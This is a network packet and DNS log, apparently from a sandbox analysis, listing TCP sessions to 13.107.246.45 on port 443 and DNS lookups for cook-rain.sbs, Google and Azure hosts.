Nov 21, 2024 00:04:55.853477001 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:55.853955984 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:55.853965998 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.271738052 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.272233963 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.272265911 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.272656918 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.272664070 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.323678970 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.325342894 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.325371981 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.325830936 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.325836897 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.552050114 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.552077055 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.552129030 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.552294016 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.552505016 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.552527905 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.552551985 CET	50068	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.552556992 CET	443	50068	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.555332899 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.555377960 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.555480003 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.555617094 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.555634022 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.785300016 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.785958052 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.786000967 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.786420107 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.786432028 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.876534939 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.876590967 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.876647949 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.876678944 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.876876116 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.876884937 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.876903057 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.877274036 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.877360106 CET	443	50070	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.877398014 CET	50070	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.879749060 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.879781961 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.879858017 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.880194902 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.880208015 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.924026966 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.924053907 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.924073935 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.924124956 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.924161911 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:56.924175978 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:56.924204111 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.091496944 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.091578007 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.091587067 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.091619968 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.091686010 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.091703892 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.091717958 CET	50069	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.091723919 CET	443	50069	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.094460964 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.094507933 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.094572067 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.094729900 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.094746113 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.278064013 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.278595924 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.278614998 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.279055119 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.279059887 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.295409918 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.295439959 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.295459032 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.295516968 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.295537949 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.295557022 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.295581102 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.482506037 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.482563019 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.482585907 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.482603073 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.482642889 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.482666016 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.482814074 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.482835054 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.482847929 CET	50071	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.482853889 CET	443	50071	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.486782074 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.486829996 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.486890078 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.487027884 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.487037897 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.725688934 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.725722075 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.725796938 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.725821972 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.725863934 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.726073980 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.726079941 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.726095915 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.726255894 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.726289988 CET	443	50072	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.726327896 CET	50072	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.728872061 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.728909969 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:57.729051113 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.729291916 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:57.729307890 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.404994965 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.405567884 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.405605078 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.406018972 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.406025887 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.693463087 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.693965912 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.693981886 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.694379091 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.694386005 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876153946 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876177073 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876311064 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.876338959 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876560926 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.876574993 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876585007 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.876761913 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876796007 CET	443	50073	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.876841068 CET	50073	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.879251957 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.879304886 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.879443884 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.879574060 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.879586935 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.951477051 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.952012062 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.952027082 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:58.952472925 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:58.952478886 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.148051023 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.151061058 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.151119947 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.151202917 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.151228905 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.151241064 CET	50074	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.151247025 CET	443	50074	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.154439926 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.154473066 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.154536009 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.154750109 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.154762030 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.270136118 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.270711899 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.270745993 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.271126986 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.271131992 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.515364885 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.516011000 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.516042948 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.516446114 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.516450882 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.561660051 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.561750889 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.561820984 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.561964035 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.561984062 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.561997890 CET	50075	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.562004089 CET	443	50075	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.564999104 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.565052032 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.565140963 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.565321922 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.565335989 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.727834940 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.731018066 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.731252909 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.731254101 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.731254101 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.733990908 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.734044075 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.734119892 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.734283924 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.734297991 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.966804981 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.969923973 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.973563910 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.976423979 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.976423979 CET	50077	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.976425886 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.976450920 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.976463079 CET	443	50077	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.976499081 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:59.976556063 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.976768017 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:59.976782084 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.041790962 CET	50076	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:00.041848898 CET	443	50076	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.724827051 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.725337029 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:00.725380898 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.725783110 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:00.725790977 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.904182911 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.904746056 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:00.904782057 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:00.905204058 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:00.905209064 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.177831888 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.181005001 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.181061029 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.181065083 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.181118965 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.181194067 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.181220055 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.181233883 CET	50078	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.181240082 CET	443	50078	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.340552092 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.354240894 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.354300022 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.354403973 CET	50079	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.354420900 CET	443	50079	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.365648031 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.366349936 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.366386890 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.366827965 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.366832972 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.540757895 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.541213989 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.541241884 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.541655064 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.541659117 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.820492983 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.821392059 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.821417093 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.821902037 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.821908951 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.839534044 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.842586994 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.842648983 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.842699051 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.842719078 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.842730045 CET	50080	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.842736959 CET	443	50080	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.995855093 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.998971939 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.999032974 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.999655962 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.999655962 CET	50081	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:01.999680042 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:01.999694109 CET	443	50081	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:02.275485039 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:02.275563002 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:02.275679111 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:02.276221037 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:02.276242971 CET	443	50082	13.107.246.45	192.168.2.7
Nov 21, 2024 00:05:02.276271105 CET	50082	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:05:02.276278973 CET	443	50082	13.107.246.45	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 00:02:55.229202986 CET	123	123	192.168.2.7	20.101.57.9
Nov 21, 2024 00:02:56.465969086 CET	123	123	20.101.57.9	192.168.2.7
Nov 21, 2024 00:02:56.957890034 CET	52127	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:02:57.215835094 CET	53	52127	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:31.671797037 CET	53	64722	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:31.801376104 CET	53	59237	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:34.120485067 CET	53	59619	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:35.847897053 CET	49491	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:35.848078966 CET	51691	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:36.073791981 CET	53	49491	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:36.074039936 CET	53	51691	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:38.575236082 CET	57539	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:38.575692892 CET	64017	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:42.007107019 CET	61796	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:42.007260084 CET	59962	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:47.487359047 CET	53	62827	1.1.1.1	192.168.2.7
Nov 21, 2024 00:03:49.577405930 CET	56521	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:49.577692032 CET	63564	53	192.168.2.7	1.1.1.1
Nov 21, 2024 00:03:49.625118017 CET	138	138	192.168.2.7	192.168.2.255
Nov 21, 2024 00:03:51.691071033 CET	53	49789	1.1.1.1	192.168.2.7
Nov 21, 2024 00:04:10.955161095 CET	53	58032	1.1.1.1	192.168.2.7
Nov 21, 2024 00:04:31.367345095 CET	53	59346	1.1.1.1	192.168.2.7
Nov 21, 2024 00:04:34.005836964 CET	53	63006	1.1.1.1	192.168.2.7
Nov 21, 2024 00:05:01.258878946 CET	53	51005	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 00:02:56.957890034 CET	192.168.2.7	1.1.1.1	0x3503	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:35.847897053 CET	192.168.2.7	1.1.1.1	0xd575	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:35.848078966 CET	192.168.2.7	1.1.1.1	0xe5fd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 00:03:38.575236082 CET	192.168.2.7	1.1.1.1	0x903e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:38.575692892 CET	192.168.2.7	1.1.1.1	0x1963	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 21, 2024 00:03:42.007107019 CET	192.168.2.7	1.1.1.1	0x8f69	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:42.007260084 CET	192.168.2.7	1.1.1.1	0xdc8c	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 21, 2024 00:03:49.577405930 CET	192.168.2.7	1.1.1.1	0x4e3	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:49.577692032 CET	192.168.2.7	1.1.1.1	0x1602	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 00:02:57.215835094 CET	1.1.1.1	192.168.2.7	0x3503	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:02:57.215835094 CET	1.1.1.1	192.168.2.7	0x3503	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:36.073791981 CET	1.1.1.1	192.168.2.7	0xd575	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:36.074039936 CET	1.1.1.1	192.168.2.7	0xe5fd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 00:03:38.800452948 CET	1.1.1.1	192.168.2.7	0x40ce	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.800452948 CET	1.1.1.1	192.168.2.7	0x40ce	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.800452948 CET	1.1.1.1	192.168.2.7	0x40ce	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801161051 CET	1.1.1.1	192.168.2.7	0xec2	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801271915 CET	1.1.1.1	192.168.2.7	0x903e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801271915 CET	1.1.1.1	192.168.2.7	0x903e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801271915 CET	1.1.1.1	192.168.2.7	0x903e	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801271915 CET	1.1.1.1	192.168.2.7	0x903e	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801428080 CET	1.1.1.1	192.168.2.7	0x1963	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:38.801428080 CET	1.1.1.1	192.168.2.7	0x1963	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:41.623927116 CET	1.1.1.1	192.168.2.7	0xf696	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 00:03:41.623927116 CET	1.1.1.1	192.168.2.7	0xf696	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
